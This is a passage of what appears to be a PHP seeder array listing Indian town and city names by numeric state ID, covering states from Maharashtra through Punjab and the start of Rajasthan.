'name' => 'mulshi'],\n ['state_id' => '22', 'name' => 'mumbai'],\n ['state_id' => '22', 'name' => 'murbad'],\n ['state_id' => '22', 'name' => 'murgud'],\n ['state_id' => '22', 'name' => 'murtijapur'],\n ['state_id' => '22', 'name' => 'murud'],\n ['state_id' => '22', 'name' => 'nachane'],\n ['state_id' => '22', 'name' => 'nagardeole'],\n ['state_id' => '22', 'name' => 'nagothane'],\n ['state_id' => '22', 'name' => 'nagpur'],\n ['state_id' => '22', 'name' => 'nakoda'],\n ['state_id' => '22', 'name' => 'nalasopara'],\n ['state_id' => '22', 'name' => 'naldurg'],\n ['state_id' => '22', 'name' => 'nanded'],\n ['state_id' => '22', 'name' => 'nandgaon'],\n ['state_id' => '22', 'name' => 'nandura'],\n ['state_id' => '22', 'name' => 'nandurbar'],\n ['state_id' => '22', 'name' => 'narkhed'],\n ['state_id' => '22', 'name' => 'nashik'],\n ['state_id' => '22', 'name' => 'navapur'],\n ['state_id' => '22', 'name' => 'navi mumbai'],\n ['state_id' => '22', 'name' => 'navi mumbai panvel'],\n ['state_id' => '22', 'name' => 'neral'],\n ['state_id' => '22', 'name' => 'nigdi'],\n ['state_id' => '22', 'name' => 'nilanga'],\n ['state_id' => '22', 'name' => 'nildoh'],\n ['state_id' => '22', 'name' => 'nimbhore'],\n ['state_id' => '22', 'name' => 'ojhar'],\n ['state_id' => '22', 'name' => 'osmanabad'],\n ['state_id' => '22', 'name' => 'pachgaon'],\n ['state_id' => '22', 'name' => 'pachora'],\n ['state_id' => '22', 'name' => 'padagha'],\n ['state_id' => '22', 'name' => 'paithan'],\n ['state_id' => '22', 'name' => 'palghar'],\n ['state_id' => '22', 'name' => 'pali'],\n ['state_id' => '22', 'name' => 'panchgani'],\n ['state_id' => '22', 'name' => 'pandhakarwada'],\n ['state_id' => '22', 'name' => 'pandharpur'],\n ['state_id' => '22', 'name' => 'panhala'],\n ['state_id' => '22', 'name' => 'panvel'],\n ['state_id' => '22', 'name' => 'paranda'],\n ['state_id' => '22', 'name' => 'parbhani'],\n ['state_id' => '22', 'name' => 'parli'],\n ['state_id' => '22', 'name' => 'parola'],\n ['state_id' => '22', 'name' => 'partur'],\n ['state_id' => '22', 'name' => 'pasthal'],\n ['state_id' => '22', 'name' => 'patan'],\n ['state_id' => '22', 'name' => 'pathardi'],\n ['state_id' => '22', 'name' => 'pathri'],\n ['state_id' => '22', 'name' => 'patur'],\n ['state_id' => '22', 'name' => 'pawni'],\n ['state_id' => '22', 'name' => 'pen'],\n ['state_id' => '22', 'name' => 'pethumri'],\n ['state_id' => '22', 'name' => 'phaltan'],\n ['state_id' => '22', 'name' => 'pimpri'],\n ['state_id' => '22', 'name' => 'poladpur'],\n ['state_id' => '22', 'name' => 'pulgaon'],\n ['state_id' => '22', 'name' => 'pune'],\n ['state_id' => '22', 'name' => 'pune cantonment'],\n ['state_id' => '22', 'name' => 'purna'],\n ['state_id' => '22', 'name' => 'purushottamnagar'],\n ['state_id' => '22', 'name' => 'pusad'],\n ['state_id' => '22', 'name' => 'rahimatpur'],\n ['state_id' => '22', 'name' => 'rahta pimplas'],\n ['state_id' => '22', 'name' => 'rahuri'],\n ['state_id' => '22', 'name' => 'raigad'],\n ['state_id' => '22', 'name' => 'rajapur'],\n ['state_id' => '22', 'name' => 'rajgurunagar'],\n ['state_id' => '22', 'name' => 'rajur'],\n ['state_id' => '22', 'name' => 'rajura'],\n ['state_id' => '22', 'name' => 'ramtek'],\n ['state_id' => '22', 'name' => 'ratnagiri'],\n ['state_id' => '22', 'name' => 'ravalgaon'],\n ['state_id' => '22', 'name' => 'raver'],\n ['state_id' => '22', 'name' => 'revadanda'],\n ['state_id' => '22', 'name' => 'risod'],\n ['state_id' => '22', 'name' => 'roha ashtami'],\n ['state_id' => '22', 'name' => 'sakri'],\n ['state_id' => '22', 'name' => 'sandor'],\n ['state_id' => '22', 'name' => 'sangamner'],\n ['state_id' => '22', 'name' => 'sangli'],\n ['state_id' => '22', 'name' => 'sangole'],\n ['state_id' => '22', 'name' => 'sasti'],\n ['state_id' => '22', 'name' => 'sasvad'],\n ['state_id' => '22', 'name' => 'satana'],\n ['state_id' => '22', 'name' => 'satara'],\n ['state_id' => '22', 'name' => 'savantvadi'],\n ['state_id' => '22', 'name' => 'savda'],\n ['state_id' => '22', 'name' => 'savner'],\n ['state_id' => '22', 'name' => 'sawari jawharnagar'],\n ['state_id' => '22', 'name' => 'selu'],\n ['state_id' => '22', 'name' => 'shahada'],\n ['state_id' => '22', 'name' => 'shahapur'],\n ['state_id' => '22', 'name' => 'shegaon'],\n ['state_id' => '22', 'name' => 'shelar'],\n ['state_id' => '22', 'name' => 'shendurjana'],\n ['state_id' => '22', 'name' => 'shirdi'],\n ['state_id' => '22', 'name' => 'shirgaon'],\n ['state_id' => '22', 'name' => 'shirpur'],\n ['state_id' => '22', 'name' => 'shirur'],\n ['state_id' => '22', 'name' => 'shirwal'],\n ['state_id' => '22', 'name' => 'shivatkar'],\n ['state_id' => '22', 'name' => 'shrigonda'],\n ['state_id' => '22', 'name' => 'shrirampur'],\n ['state_id' => '22', 'name' => 'shrirampur rural'],\n ['state_id' => '22', 'name' => 'sillewada'],\n ['state_id' => '22', 'name' => 'sillod'],\n ['state_id' => '22', 'name' => 'sindhudurg'],\n ['state_id' => '22', 'name' => 'sindi'],\n ['state_id' => '22', 'name' => 'sindi turf hindnagar'],\n ['state_id' => '22', 'name' => 'sindkhed raja'],\n ['state_id' => '22', 'name' => 'singnapur'],\n ['state_id' => '22', 'name' => 'sinnar'],\n ['state_id' => '22', 'name' => 'sirur'],\n ['state_id' => '22', 'name' => 'sitasawangi'],\n ['state_id' => '22', 'name' => 'solapur'],\n ['state_id' => '22', 'name' => 'sonai'],\n ['state_id' => '22', 'name' => 'sonegaon'],\n ['state_id' => '22', 'name' => 'soyagaon'],\n ['state_id' => '22', 'name' => 'srivardhan'],\n ['state_id' => '22', 'name' => 'surgana'],\n ['state_id' => '22', 'name' => 'talegaon dabhade'],\n ['state_id' => '22', 'name' => 'taloda'],\n ['state_id' => '22', 'name' => 'taloja'],\n ['state_id' => '22', 'name' => 'talwade'],\n ['state_id' => '22', 'name' => 'tarapur'],\n ['state_id' => '22', 'name' => 'tasgaon'],\n ['state_id' => '22', 'name' => 'tathavade'],\n ['state_id' => '22', 'name' => 'tekadi'],\n ['state_id' => '22', 'name' => 'telhara'],\n ['state_id' => '22', 'name' => 'thane'],\n ['state_id' => '22', 'name' => 'tirira'],\n ['state_id' => '22', 'name' => 'totaladoh'],\n ['state_id' => '22', 'name' => 'trimbak'],\n ['state_id' => '22', 'name' => 'tuljapur'],\n ['state_id' => '22', 'name' => 'tumsar'],\n ['state_id' => '22', 'name' => 'uchgaon'],\n ['state_id' => '22', 'name' => 'udgir'],\n ['state_id' => '22', 'name' => 'ulhasnagar'],\n ['state_id' => '22', 'name' => 'umarga'],\n ['state_id' => '22', 'name' => 'umarkhed'],\n ['state_id' => '22', 'name' => 'umarsara'],\n ['state_id' => '22', 'name' => 'umbar pada nandade'],\n ['state_id' => '22', 'name' => 'umred'],\n ['state_id' => '22', 'name' => 'umri pragane balapur'],\n ['state_id' => '22', 'name' => 'uran'],\n ['state_id' => '22', 'name' => 'uran islampur'],\n ['state_id' => '22', 'name' => 'utekhol'],\n ['state_id' => '22', 'name' => 'vada'],\n ['state_id' => '22', 'name' => 'vadgaon'],\n ['state_id' => '22', 'name' => 'vadgaon kasba'],\n ['state_id' => '22', 'name' => 'vaijapur'],\n ['state_id' => '22', 'name' => 'vanvadi'],\n ['state_id' => '22', 'name' => 'varangaon'],\n ['state_id' => '22', 'name' => 'vasai'],\n ['state_id' => '22', 'name' => 'vasantnagar'],\n ['state_id' => '22', 'name' => 'vashind'],\n ['state_id' => '22', 'name' => 'vengurla'],\n ['state_id' => '22', 'name' => 'virar'],\n ['state_id' => '22', 'name' => 'visapur'],\n ['state_id' => '22', 'name' => 'vite'],\n ['state_id' => '22', 'name' => 'vithalwadi'],\n ['state_id' => '22', 'name' => 'wadi'],\n ['state_id' => '22', 'name' => 'waghapur'],\n ['state_id' => '22', 'name' => 'wai'],\n ['state_id' => '22', 'name' => 'wajegaon'],\n ['state_id' => '22', 'name' => 'walani'],\n ['state_id' => '22', 'name' => 'wanadongri'],\n ['state_id' => '22', 'name' => 'wani'],\n ['state_id' => '22', 'name' => 'wardha'],\n ['state_id' => '22', 'name' => 'warora'],\n ['state_id' => '22', 'name' => 'warthi'],\n ['state_id' => '22', 'name' => 'warud'],\n ['state_id' => '22', 'name' => 'washim'],\n ['state_id' => '22', 'name' => 'yaval'],\n ['state_id' => '22', 'name' => 'yavatmal'],\n ['state_id' => '22', 'name' => 'yeola'],\n ['state_id' => '22', 'name' => 'yerkheda'],\n ['state_id' => '23', 'name' => 'andro'],\n ['state_id' => '23', 'name' => 'bijoy govinda'],\n ['state_id' => '23', 'name' => 'bishnupur'],\n ['state_id' => '23', 'name' => 'churachandpur'],\n ['state_id' => '23', 'name' => 'heriok'],\n ['state_id' => '23', 'name' => 'imphal'],\n ['state_id' => '23', 'name' => 'jiribam'],\n ['state_id' => '23', 'name' => 'kakching'],\n ['state_id' => '23', 'name' => 'kakching khunou'],\n ['state_id' => '23', 'name' => 'khongman'],\n ['state_id' => '23', 'name' => 'kumbi'],\n ['state_id' => '23', 'name' => 'kwakta'],\n ['state_id' => '23', 'name' => 'lamai'],\n ['state_id' => '23', 'name' => 'lamjaotongba'],\n ['state_id' => '23', 'name' => 'lamshang'],\n ['state_id' => '23', 'name' => 'lilong'],\n ['state_id' => '23', 'name' => 'mayang imphal'],\n ['state_id' => '23', 'name' => 'moirang'],\n ['state_id' => '23', 'name' => 'moreh'],\n ['state_id' => '23', 'name' => 'nambol'],\n ['state_id' => '23', 'name' => 'naoriya pakhanglakpa'],\n ['state_id' => '23', 'name' => 'ningthoukhong'],\n ['state_id' => '23', 'name' => 'oinam'],\n ['state_id' => '23', 'name' => 'porompat'],\n ['state_id' => '23', 'name' => 'samurou'],\n ['state_id' => '23', 'name' => 'sekmai bazar'],\n ['state_id' => '23', 'name' => 'senapati'],\n ['state_id' => '23', 'name' => 'sikhong sekmai'],\n ['state_id' => '23', 'name' => 'sugnu'],\n ['state_id' => '23', 'name' => 'thongkhong laxmi bazar'],\n ['state_id' => '23', 'name' => 'thoubal'],\n ['state_id' => '23', 'name' => 'torban'],\n ['state_id' => '23', 'name' => 'wangjing'],\n ['state_id' => '23', 'name' => 'wangoi'],\n ['state_id' => '23', 'name' => 'yairipok'],\n ['state_id' => '24', 'name' => 'baghmara'],\n ['state_id' => '24', 'name' => 'cherrapunji'],\n ['state_id' => '24', 'name' => 'jawai'],\n ['state_id' => '24', 'name' => 'madanrting'],\n ['state_id' => '24', 'name' => 'mairang'],\n ['state_id' => '24', 'name' => 'mawlai'],\n ['state_id' => '24', 'name' => 'nongmynsong'],\n ['state_id' => '24', 'name' => 'nongpoh'],\n ['state_id' => '24', 'name' => 'nongstoin'],\n ['state_id' => '24', 'name' => 'nongthymmai'],\n ['state_id' => '24', 'name' => 'pynthorumkhrah'],\n ['state_id' => '24', 'name' => 'resubelpara'],\n ['state_id' => '24', 'name' => 'shillong'],\n ['state_id' => '24', 'name' => 'shillong cantonment'],\n ['state_id' => '24', 'name' => 'tura'],\n ['state_id' => '24', 'name' => 'williamnagar'],\n ['state_id' => '25', 'name' => 'aizawl'],\n ['state_id' => '25', 'name' => 'bairabi'],\n ['state_id' => '25', 'name' => 'biate'],\n ['state_id' => '25', 'name' => 'champhai'],\n ['state_id' => '25', 'name' => 'darlawn'],\n ['state_id' => '25', 'name' => 'hnahthial'],\n ['state_id' => '25', 'name' => 'kawnpui'],\n ['state_id' => '25', 'name' => 'khawhai'],\n ['state_id' => '25', 'name' => 'khawzawl'],\n ['state_id' => '25', 'name' => 'kolasib'],\n ['state_id' => '25', 'name' => 'lengpui'],\n ['state_id' => '25', 'name' => 'lunglei'],\n ['state_id' => '25', 'name' => 'mamit'],\n ['state_id' => '25', 'name' => 'north vanlaiphai'],\n ['state_id' => '25', 'name' => 'saiha'],\n ['state_id' => '25', 'name' => 'sairang'],\n ['state_id' => '25', 'name' => 'saitul'],\n ['state_id' => '25', 'name' => 'serchhip'],\n ['state_id' => '25', 'name' => 'thenzawl'],\n ['state_id' => '25', 'name' => 'tlabung'],\n ['state_id' => '25', 'name' => 'vairengte'],\n ['state_id' => '25', 'name' => 'zawlnuam'],\n ['state_id' => '26', 'name' => 'chumukedima'],\n ['state_id' => '26', 'name' => 'dimapur'],\n ['state_id' => '26', 'name' => 'kohima'],\n ['state_id' => '26', 'name' => 'mokokchung'],\n ['state_id' => '26', 'name' => 'mon'],\n ['state_id' => '26', 'name' => 'phek'],\n ['state_id' => '26', 'name' => 'tuensang'],\n ['state_id' => '26', 'name' => 'wokha'],\n ['state_id' => '26', 'name' => 'zunheboto'],\n ['state_id' => '29', 'name' => 'anandapur'],\n ['state_id' => '29', 'name' => 'angul'],\n ['state_id' => '29', 'name' => 'aska'],\n ['state_id' => '29', 'name' => 'athgarh'],\n ['state_id' => '29', 'name' => 'athmallik'],\n ['state_id' => '29', 'name' => 'balagoda'],\n ['state_id' => '29', 'name' => 'balangir'],\n ['state_id' => '29', 'name' => 'balasore'],\n ['state_id' => '29', 'name' => 'baleshwar'],\n ['state_id' => '29', 'name' => 'balimeta'],\n ['state_id' => '29', 'name' => 'balugaon'],\n ['state_id' => '29', 'name' => 'banapur'],\n ['state_id' => '29', 'name' => 'bangura'],\n ['state_id' => '29', 'name' => 'banki'],\n ['state_id' => '29', 'name' => 'banposh'],\n ['state_id' => '29', 'name' => 'barbil'],\n ['state_id' => '29', 'name' => 'bargarh'],\n ['state_id' => '29', 'name' => 'baripada'],\n ['state_id' => '29', 'name' => 'barpali'],\n ['state_id' => '29', 'name' => 'basudebpur'],\n ['state_id' => '29', 'name' => 'baudh'],\n ['state_id' => '29', 'name' => 'belagachhia'],\n ['state_id' => '29', 'name' => 'belaguntha'],\n ['state_id' => '29', 'name' => 'belpahar'],\n ['state_id' => '29', 'name' => 'berhampur'],\n ['state_id' => '29', 'name' => 'bhadrak'],\n ['state_id' => '29', 'name' => 'bhanjanagar'],\n ['state_id' => '29', 'name' => 'bhawanipatna'],\n ['state_id' => '29', 'name' => 'bhuban'],\n ['state_id' => '29', 'name' => 'bhubaneswar'],\n ['state_id' => '29', 'name' => 'binika'],\n ['state_id' => '29', 'name' => 'birmitrapur'],\n ['state_id' => '29', 'name' => 'bishama katek'],\n ['state_id' => '29', 'name' => 'bolangir'],\n ['state_id' => '29', 'name' => 'brahmapur'],\n ['state_id' => '29', 'name' => 'brajrajnagar'],\n ['state_id' => '29', 'name' => 'buguda'],\n ['state_id' => '29', 'name' => 'burla'],\n ['state_id' => '29', 'name' => 'byasanagar'],\n ['state_id' => '29', 'name' => 'champua'],\n ['state_id' => '29', 'name' => 'chandapur'],\n ['state_id' => '29', 'name' => 'chandbali'],\n ['state_id' => '29', 'name' => 'chandili'],\n ['state_id' => '29', 'name' => 'charibatia'],\n ['state_id' => '29', 'name' => 'chatrapur'],\n ['state_id' => '29', 'name' => 'chikitigarh'],\n ['state_id' => '29', 'name' => 'chitrakonda'],\n ['state_id' => '29', 'name' => 'choudwar'],\n ['state_id' => '29', 'name' => 'cuttack'],\n ['state_id' => '29', 'name' => 'dadhapatna'],\n ['state_id' => '29', 'name' => 'daitari'],\n ['state_id' => '29', 'name' => 'damanjodi'],\n ['state_id' => '29', 'name' => 'deogarh'],\n ['state_id' => '29', 'name' => 'deracolliery'],\n ['state_id' => '29', 'name' => 'dhamanagar'],\n ['state_id' => '29', 'name' => 'dhenkanal'],\n ['state_id' => '29', 'name' => 'digapahandi'],\n ['state_id' => '29', 'name' => 'dungamal'],\n ['state_id' => '29', 'name' => 'fertilizer corporation of indi'],\n ['state_id' => '29', 'name' => 'ganjam'],\n ['state_id' => '29', 'name' => 'ghantapada'],\n ['state_id' => '29', 'name' => 'gopalpur'],\n ['state_id' => '29', 'name' => 'gudari'],\n ['state_id' => '29', 'name' => 'gunupur'],\n ['state_id' => '29', 'name' => 'hatibandha'],\n ['state_id' => '29', 'name' => 'hinjilikatu'],\n ['state_id' => '29', 'name' => 'hirakud'],\n ['state_id' => '29', 'name' => 'jagatsinghapur'],\n ['state_id' => '29', 'name' => 'jajpur'],\n ['state_id' => '29', 'name' => 'jalda'],\n ['state_id' => '29', 'name' => 'jaleswar'],\n ['state_id' => '29', 'name' => 'jatni'],\n ['state_id' => '29', 'name' => 'jaypur'],\n ['state_id' => '29', 'name' => 'jeypore'],\n ['state_id' => '29', 'name' => 'jharsuguda'],\n ['state_id' => '29', 'name' => 'jhumpura'],\n ['state_id' => '29', 'name' => 'joda'],\n ['state_id' => '29', 'name' => 'junagarh'],\n ['state_id' => '29', 'name' => 'kamakhyanagar'],\n ['state_id' => '29', 'name' => 'kantabanji'],\n ['state_id' => '29', 'name' => 'kantilo'],\n ['state_id' => '29', 'name' => 'karanja'],\n ['state_id' => '29', 'name' => 'kashinagara'],\n ['state_id' => '29', 'name' => 'kataka'],\n ['state_id' => '29', 'name' => 'kavisuryanagar'],\n ['state_id' => '29', 'name' => 'kendrapara'],\n ['state_id' => '29', 'name' => 'kendujhar'],\n ['state_id' => '29', 'name' => 'keonjhar'],\n ['state_id' => '29', 'name' => 'kesinga'],\n ['state_id' => '29', 'name' => 'khaliapali'],\n ['state_id' => '29', 'name' => 'khalikote'],\n ['state_id' => '29', 'name' => 'khandaparha'],\n ['state_id' => '29', 'name' => 'kharhial'],\n ['state_id' => '29', 'name' => 'kharhial road'],\n ['state_id' => '29', 'name' => 'khatiguda'],\n ['state_id' => '29', 'name' => 'khurda'],\n ['state_id' => '29', 'name' => 'kochinda'],\n ['state_id' => '29', 'name' => 'kodala'],\n ['state_id' => '29', 'name' => 'konark'],\n ['state_id' => '29', 'name' => 'koraput'],\n ['state_id' => '29', 'name' => 'kotaparh'],\n ['state_id' => '29', 'name' => 'lanjigarh'],\n ['state_id' => '29', 'name' => 'lattikata'],\n ['state_id' => '29', 'name' => 'makundapur'],\n ['state_id' => '29', 'name' => 'malkangiri'],\n ['state_id' => '29', 'name' => 'mukhiguda'],\n ['state_id' => '29', 'name' => 'nabarangpur'],\n ['state_id' => '29', 'name' => 'nalco'],\n ['state_id' => '29', 'name' => 'naurangapur'],\n ['state_id' => '29', 'name' => 'nayagarh'],\n ['state_id' => '29', 'name' => 'nilagiri'],\n ['state_id' => '29', 'name' => 'nimaparha'],\n ['state_id' => '29', 'name' => 'nuapada'],\n ['state_id' => '29', 'name' => 'nuapatna'],\n ['state_id' => '29', 'name' => 'ocl industrialship'],\n ['state_id' => '29', 'name' => 'padampur'],\n ['state_id' => '29', 'name' => 'paradip'],\n ['state_id' => '29', 'name' => 'paradwip'],\n ['state_id' => '29', 'name' => 'parlakimidi'],\n ['state_id' => '29', 'name' => 'patamundai'],\n ['state_id' => '29', 'name' => 'patnagarh'],\n ['state_id' => '29', 'name' => 'phulabani'],\n ['state_id' => '29', 'name' => 'pipili'],\n ['state_id' => '29', 'name' => 'polasara'],\n ['state_id' => '29', 'name' => 'pratapsasan'],\n ['state_id' => '29', 'name' => 'puri'],\n ['state_id' => '29', 'name' => 'purushottampur'],\n ['state_id' => '29', 'name' => 'rairangpur'],\n ['state_id' => '29', 'name' => 'raj gangpur'],\n ['state_id' => '29', 'name' => 'rambha'],\n ['state_id' => '29', 'name' => 'raurkela'],\n ['state_id' => '29', 'name' => 'raurkela civil township'],\n ['state_id' => '29', 'name' => 'rayagada'],\n ['state_id' => '29', 'name' => 'redhakhol'],\n ['state_id' => '29', 'name' => 'remuna'],\n ['state_id' => '29', 'name' => 'rengali'],\n ['state_id' => '29', 'name' => 'rourkela'],\n ['state_id' => '29', 'name' => 'sambalpur'],\n ['state_id' => '29', 'name' => 'sinapali'],\n ['state_id' => '29', 'name' => 'sonepur'],\n ['state_id' => '29', 'name' => 'sorada'],\n ['state_id' => '29', 'name' => 'soro'],\n ['state_id' => '29', 'name' => 'sunabeda'],\n ['state_id' => '29', 'name' => 'sundargarh'],\n ['state_id' => '29', 'name' => 'talcher'],\n ['state_id' => '29', 'name' => 'talcher thermal power station '],\n ['state_id' => '29', 'name' => 'tarabha'],\n ['state_id' => '29', 'name' => 'tensa'],\n ['state_id' => '29', 'name' => 'titlagarh'],\n ['state_id' => '29', 'name' => 'udala'],\n ['state_id' => '29', 'name' => 'udayagiri'],\n ['state_id' => '29', 'name' => 'umarkot'],\n ['state_id' => '29', 'name' => 'vikrampur'],\n ['state_id' => '31', 'name' => 'ariankuppam'],\n ['state_id' => '31', 'name' => 'karaikal'],\n ['state_id' => '31', 'name' => 'kurumbapet'],\n ['state_id' => '31', 'name' => 'mahe'],\n ['state_id' => '31', 'name' => 'ozhukarai'],\n ['state_id' => '31', 'name' => 'pondicherry'],\n ['state_id' => '31', 'name' => 'villianur'],\n ['state_id' => '31', 'name' => 'yanam'],\n ['state_id' => '32', 'name' => 'abohar'],\n ['state_id' => '32', 'name' => 'adampur'],\n ['state_id' => '32', 'name' => 'ahmedgarh'],\n ['state_id' => '32', 'name' => 'ajnala'],\n ['state_id' => '32', 'name' => 'akalgarh'],\n ['state_id' => '32', 'name' => 'alawalpur'],\n ['state_id' => '32', 'name' => 'amloh'],\n ['state_id' => '32', 'name' => 'amritsar'],\n ['state_id' => '32', 'name' => 'amritsar cantonment'],\n ['state_id' => '32', 'name' => 'anandpur sahib'],\n ['state_id' => '32', 'name' => 'badhni kalan'],\n ['state_id' => '32', 'name' => 'bagh purana'],\n ['state_id' => '32', 'name' => 'balachaur'],\n ['state_id' => '32', 'name' => 'banaur'],\n ['state_id' => '32', 'name' => 'banga'],\n ['state_id' => '32', 'name' => 'banur'],\n ['state_id' => '32', 'name' => 'baretta'],\n ['state_id' => '32', 'name' => 'bariwala'],\n ['state_id' => '32', 'name' => 'barnala'],\n ['state_id' => '32', 'name' => 'bassi pathana'],\n ['state_id' => '32', 'name' => 'batala'],\n ['state_id' => '32', 'name' => 'bathinda'],\n ['state_id' => '32', 'name' => 'begowal'],\n ['state_id' => '32', 'name' => 'behrampur'],\n ['state_id' => '32', 'name' => 'bhabat'],\n ['state_id' => '32', 'name' => 'bhadur'],\n ['state_id' => '32', 'name' => 'bhankharpur'],\n ['state_id' => '32', 'name' => 'bharoli kalan'],\n ['state_id' => '32', 'name' => 'bhawanigarh'],\n ['state_id' => '32', 'name' => 'bhikhi'],\n ['state_id' => '32', 'name' => 'bhikhiwind'],\n ['state_id' => '32', 'name' => 'bhisiana'],\n ['state_id' => '32', 'name' => 'bhogpur'],\n ['state_id' => '32', 'name' => 'bhuch'],\n ['state_id' => '32', 'name' => 'bhulath'],\n ['state_id' => '32', 'name' => 'budha theh'],\n ['state_id' => '32', 'name' => 'budhlada'],\n ['state_id' => '32', 'name' => 'chima'],\n ['state_id' => '32', 'name' => 'chohal'],\n ['state_id' => '32', 'name' => 'dasuya'],\n ['state_id' => '32', 'name' => 'daulatpur'],\n ['state_id' => '32', 'name' => 'dera baba nanak'],\n ['state_id' => '32', 'name' => 'dera bassi'],\n ['state_id' => '32', 'name' => 'dhanaula'],\n ['state_id' => '32', 'name' => 'dharam kot'],\n ['state_id' => '32', 'name' => 'dhariwal'],\n ['state_id' => '32', 'name' => 'dhilwan'],\n ['state_id' => '32', 'name' => 'dhuri'],\n ['state_id' => '32', 'name' => 'dinanagar'],\n ['state_id' => '32', 'name' => 'dirba'],\n ['state_id' => '32', 'name' => 'doraha'],\n ['state_id' => '32', 'name' => 'faridkot'],\n ['state_id' => '32', 'name' => 'fateh nangal'],\n ['state_id' => '32', 'name' => 'fatehgarh churian'],\n ['state_id' => '32', 'name' => 'fatehgarh sahib'],\n ['state_id' => '32', 'name' => 'fazilka'],\n ['state_id' => '32', 'name' => 'firozpur'],\n ['state_id' => '32', 'name' => 'firozpur cantonment'],\n ['state_id' => '32', 'name' => 'gardhiwala'],\n ['state_id' => '32', 'name' => 'garhshankar'],\n ['state_id' => '32', 'name' => 'ghagga'],\n ['state_id' => '32', 'name' => 'ghanaur'],\n ['state_id' => '32', 'name' => 'giddarbaha'],\n ['state_id' => '32', 'name' => 'gobindgarh'],\n ['state_id' => '32', 'name' => 'goniana'],\n ['state_id' => '32', 'name' => 'goraya'],\n ['state_id' => '32', 'name' => 'gurdaspur'],\n ['state_id' => '32', 'name' => 'guru har sahai'],\n ['state_id' => '32', 'name' => 'hajipur'],\n ['state_id' => '32', 'name' => 'handiaya'],\n ['state_id' => '32', 'name' => 'hariana'],\n ['state_id' => '32', 'name' => 'hoshiarpur'],\n ['state_id' => '32', 'name' => 'hussainpur'],\n ['state_id' => '32', 'name' => 'jagraon'],\n ['state_id' => '32', 'name' => 'jaitu'],\n ['state_id' => '32', 'name' => 'jalalabad'],\n ['state_id' => '32', 'name' => 'jalandhar'],\n ['state_id' => '32', 'name' => 'jalandhar cantonment'],\n ['state_id' => '32', 'name' => 'jandiala'],\n ['state_id' => '32', 'name' => 'jugial'],\n ['state_id' => '32', 'name' => 'kalanaur'],\n ['state_id' => '32', 'name' => 'kapurthala'],\n ['state_id' => '32', 'name' => 'karoran'],\n ['state_id' => '32', 'name' => 'kartarpur'],\n ['state_id' => '32', 'name' => 'khamanon'],\n ['state_id' => '32', 'name' => 'khanauri'],\n ['state_id' => '32', 'name' => 'khanna'],\n ['state_id' => '32', 'name' => 'kharar'],\n ['state_id' => '32', 'name' => 'khem karan'],\n ['state_id' => '32', 'name' => 'kot fatta'],\n ['state_id' => '32', 'name' => 'kot isa khan'],\n ['state_id' => '32', 'name' => 'kot kapura'],\n ['state_id' => '32', 'name' => 'kotkapura'],\n ['state_id' => '32', 'name' => 'kurali'],\n ['state_id' => '32', 'name' => 'lalru'],\n ['state_id' => '32', 'name' => 'lehra gaga'],\n ['state_id' => '32', 'name' => 'lodhian khas'],\n ['state_id' => '32', 'name' => 'longowal'],\n ['state_id' => '32', 'name' => 'ludhiana'],\n ['state_id' => '32', 'name' => 'machhiwara'],\n ['state_id' => '32', 'name' => 'mahilpur'],\n ['state_id' => '32', 'name' => 'majitha'],\n ['state_id' => '32', 'name' => 'makhu'],\n ['state_id' => '32', 'name' => 'malaut'],\n ['state_id' => '32', 'name' => 'malerkotla'],\n ['state_id' => '32', 'name' => 'maloud'],\n ['state_id' => '32', 'name' => 'mandi gobindgarh'],\n ['state_id' => '32', 'name' => 'mansa'],\n ['state_id' => '32', 'name' => 'maur'],\n ['state_id' => '32', 'name' => 'moga'],\n ['state_id' => '32', 'name' => 'mohali'],\n ['state_id' => '32', 'name' => 'moonak'],\n ['state_id' => '32', 'name' => 'morinda'],\n ['state_id' => '32', 'name' => 'mukerian'],\n ['state_id' => '32', 'name' => 'muktsar'],\n ['state_id' => '32', 'name' => 'mullanpur dakha'],\n ['state_id' => '32', 'name' => 'mullanpur garibdas'],\n ['state_id' => '32', 'name' => 'munak'],\n ['state_id' => '32', 'name' => 'muradpura'],\n ['state_id' => '32', 'name' => 'nabha'],\n ['state_id' => '32', 'name' => 'nakodar'],\n ['state_id' => '32', 'name' => 'nangal'],\n ['state_id' => '32', 'name' => 'nawashahr'],\n ['state_id' => '32', 'name' => 'naya nangal'],\n ['state_id' => '32', 'name' => 'nehon'],\n ['state_id' => '32', 'name' => 'nurmahal'],\n ['state_id' => '32', 'name' => 'pathankot'],\n ['state_id' => '32', 'name' => 'patiala'],\n ['state_id' => '32', 'name' => 'patti'],\n ['state_id' => '32', 'name' => 'pattran'],\n ['state_id' => '32', 'name' => 'payal'],\n ['state_id' => '32', 'name' => 'phagwara'],\n ['state_id' => '32', 'name' => 'phillaur'],\n ['state_id' => '32', 'name' => 'qadian'],\n ['state_id' => '32', 'name' => 'rahon'],\n ['state_id' => '32', 'name' => 'raikot'],\n ['state_id' => '32', 'name' => 'raja sansi'],\n ['state_id' => '32', 'name' => 'rajpura'],\n ['state_id' => '32', 'name' => 'ram das'],\n ['state_id' => '32', 'name' => 'raman'],\n ['state_id' => '32', 'name' => 'rampura'],\n ['state_id' => '32', 'name' => 'rayya'],\n ['state_id' => '32', 'name' => 'rupnagar'],\n ['state_id' => '32', 'name' => 'rurki kasba'],\n ['state_id' => '32', 'name' => 'sahnewal'],\n ['state_id' => '32', 'name' => 'samana'],\n ['state_id' => '32', 'name' => 'samrala'],\n ['state_id' => '32', 'name' => 'sanaur'],\n ['state_id' => '32', 'name' => 'sangat'],\n ['state_id' => '32', 'name' => 'sangrur'],\n ['state_id' => '32', 'name' => 'sansarpur'],\n ['state_id' => '32', 'name' => 'sardulgarh'],\n ['state_id' => '32', 'name' => 'shahkot'],\n ['state_id' => '32', 'name' => 'sham churasi'],\n ['state_id' => '32', 'name' => 'shekhpura'],\n ['state_id' => '32', 'name' => 'sirhind'],\n ['state_id' => '32', 'name' => 'sri hargobindpur'],\n ['state_id' => '32', 'name' => 'sujanpur'],\n ['state_id' => '32', 'name' => 'sultanpur lodhi'],\n ['state_id' => '32', 'name' => 'sunam'],\n ['state_id' => '32', 'name' => 'talwandi bhai'],\n ['state_id' => '32', 'name' => 'talwara'],\n ['state_id' => '32', 'name' => 'tappa'],\n ['state_id' => '32', 'name' => 'tarn taran'],\n ['state_id' => '32', 'name' => 'urmar tanda'],\n ['state_id' => '32', 'name' => 'zira'],\n ['state_id' => '32', 'name' => 'zirakpur'],\n ['state_id' => '33', 'name' => 'abu road'],\n ['state_id' => '33', 'name' => 'ajmer'],\n ['state_id' => '33', 'name' => 'aklera'],\n ['state_id' => '33', 'name' => 'alwar'],\n ['state_id' => '33', 'name' => 'amet'],\n ['state_id' => '33', 'name' => 'antah'],\n 